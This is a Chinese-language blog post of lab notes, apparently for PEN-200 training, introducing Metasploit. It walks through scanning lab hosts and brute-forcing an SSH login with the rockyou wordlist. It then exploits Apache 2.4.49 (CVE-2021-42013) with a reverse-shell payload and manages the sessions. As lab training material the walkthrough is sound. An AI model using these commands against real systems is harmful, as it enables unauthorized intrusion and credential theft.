Metasploit 使用簡介

 Metasploit 使用簡介


好用的自動化工具

 - Metasploit https://www.metasploit.com/

 - Covenant https://github.com/cobbr/Covenant

 - Cobalt Strike https://www.cobaltstrike.com/

 - PowerShell Empire https://github.com/BC-SECURITY/Empire

啟動資料庫服務以及使用 msfdb init 建立和初始化 MSF 資料庫 └─$ sudo msfdb init




系統啟動時一併啟動資料庫, └─$ sudo systemctl enable postgresql




使用 msfconsole 啟動 Metasploit 命令列介面,└─$ sudo msfconsole

每次啟動的預設畫面是隨機的



啟動後畫面如下





啟動時若使用 -q 參數,就可以跳過上述的相關畫面 └─$ sudo msfconsole -q




使用 db_status 確認資料庫連接狀態,可以看到有連線且是 postgresql




可以透過輸入 help 來取得所有可用指令的清單





避免資料混淆儲存在相同的資料庫,所以要建立工作區來區分不同的滲透測試

使用指令 workspace 查看現有的工作區,預設僅有一個名稱為 default 的工作區




接著使用 workspace -a pen200 建立一個名稱為 pen200 的工作區

可以看到 pen200 變成紅色,表示現在使用的資料將會存儲在 pen200 工作區資料庫內




db_nmap 是一個在 Metasploit 中執行 Nmap 的包裝器,並將結果保存在資料庫中。該指令與 Nmap 具有相同的語法,接著我們將開示對靶機 192.168.249.202 進行掃描

db_nmap -A 192.168.249.201,有開 ftp、RPC、smb、rdp,看來是台 Windows





要取得到目前為止所有已發現主機的列表,輸入 hosts




輸入 services 查看目前發現的所有服務





亦可以針對特定的 Port 讓他列出,例如 services -p 8000





Metasploit 模組的類別。要啟動模組需要輸入 use 和模組名稱

這些模組都遵循通用的斜線分隔的分層語法(模組類型/作業系統、供應商、應用程式、操作或協定/模組名稱),可以透過 show -h 查看相關模組





要列出所有輔助模組可以執行 show auxiliary 命令




可以使用搜尋來減少大量的輸出,並按應用程式、類型、CVE ID、操作、平台等進行過濾

例如搜尋 smb 協定可以透過 search type:auxiliary smb




以 smb 列出的模組來說,如下 56 是顯示 SMB 的版本資訊





接著輸入 56 就會直接進入該模組的利用




相關模組不知道如何使用可以透過輸入 info 查看




輸入 show options 顯示模組的選項。

這些選項包含一個名為「Required」的列

它指定在啟動模組之前是否需要設定一個值

在大多數模組中,Metasploit 已經為我們設定了一些選項

但下圖顯示選項 RHOSTS 沒有設定值,但模組需要該值





可以使用 set 和 unset 從選項中新增或刪除值

讓我們將選項 RHOSTS 的值設定為靶機的 IP 192.168.249.202

set 完畢後再執行一次 show options 就可以看到剛剛設定的值了





要取消就是使用 unset HOSTS,再執行一次 show options 就可以看到又恢復為空白了




之前我們有掃過 192.168.249.202 有 SMB 服務,透過 services -p 445 再確認一次如下


 



這時候可以透過在指令的後面下 --RHOSTS ,就是透過服務的方式指定 RHOSTS

指令 service -p 445 --rhosts,注意這裡要用小寫

再執行一次 show options 一樣可以看到值已經是 192.168.249.202





當所有 Required 值都有了就可以直接跑該模組了,指令是 run

可以看到本版資訊為 3.1.1





接著使用指令 vulns 直接查看是否有漏洞可以利用





有另一台靶機是 192.168.249.201,一樣透過 dn_namp 執行掃描

是一台 Linux 僅有開 22 & 2222 Port





讓我們列舉看看有甚麼 ssh 模組,指令 search type:auxiliary ssh

接著使用模組 15,use 15,跟 hydra 很像的破密攻擊




一樣執行 show options 看看有那些必要欄位,可以看到最重要的是 RHOSTS 欄位

然後一樣可以使用使用者檔案與密碼字典檔




已知有個使用者叫做 george,所以透過 rockyou 字典檔來做破密攻擊看看,輸入相關值

 - set USERNAME george 指定使用者為 george

 - set PASS_FILE /usr/share/wordlists/rockyou.txt 設定密碼檔

 - set RHOSTS 192.168.249.201 指定主機

 - set RPORT 2222 設定要執行的 Port 改為 2222 Port

設定完畢後再執行一次 show options 察看確認該有的值都輸入完畢了





那就執行模組吧,輸入 run,得到密碼是 chocolate





那就登入拿 flag 吧






第三台靶機 192.168.249.16,一樣從新登入後切換 workspace 到 pen200

查看現在的 hosts 沒有 16 那一台,直接 db_nmap -A 192.168.249.16 掃描吧




掃完再 hosts 可以看到有 16 了





掃描時有發現 192.168.249.16 使用 Apache 2.4.49 如下

這是很標準可遭受 CVE-2021-42013 Path Traversal 漏洞利用的 Apache 版本




直接 search Apache 2.4.49 看看有無模組可以直接使用,有兩個那就直接用 0 那一個,use 0




簡單 info 看一下模組資訊





show options 一樣缺少 RHOSTS 值以及 LHOSTS,以及 payload





設定最常使用的 reverse shell 為 payload

指令 set payload payload/linux/x64/shell_reverse_tcp

以及其他幾個值要設定

 - set SSL false 關閉 SSL,預設為 true

 - set RPORT 80 將 RPORT 改為更常用,防火牆更不會檔的 80 Port

 - set RHOSTS 192.168.249.16 這是一定必要的值

改完後一樣 show options 看一下確認無誤





那就 run 吧,接著使用 Ctrl+Z with y 將 session 丟到背景就可以繼續使用 Metasploit

可以透過 sessions -l 查看現有背景 session





上圖 session Id 是 1,所以可以透過 sessions -i 1 將該 session 叫回來






若要刪除 session 就是 sessions -k 加 Id,例如 :sessions -k 1,如下圖可以看到 session 已經砍掉了





Metasploit 中會儲存利用過的相關漏洞,這時候可以透過 run -j 直接將 session 重新建立起來







留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)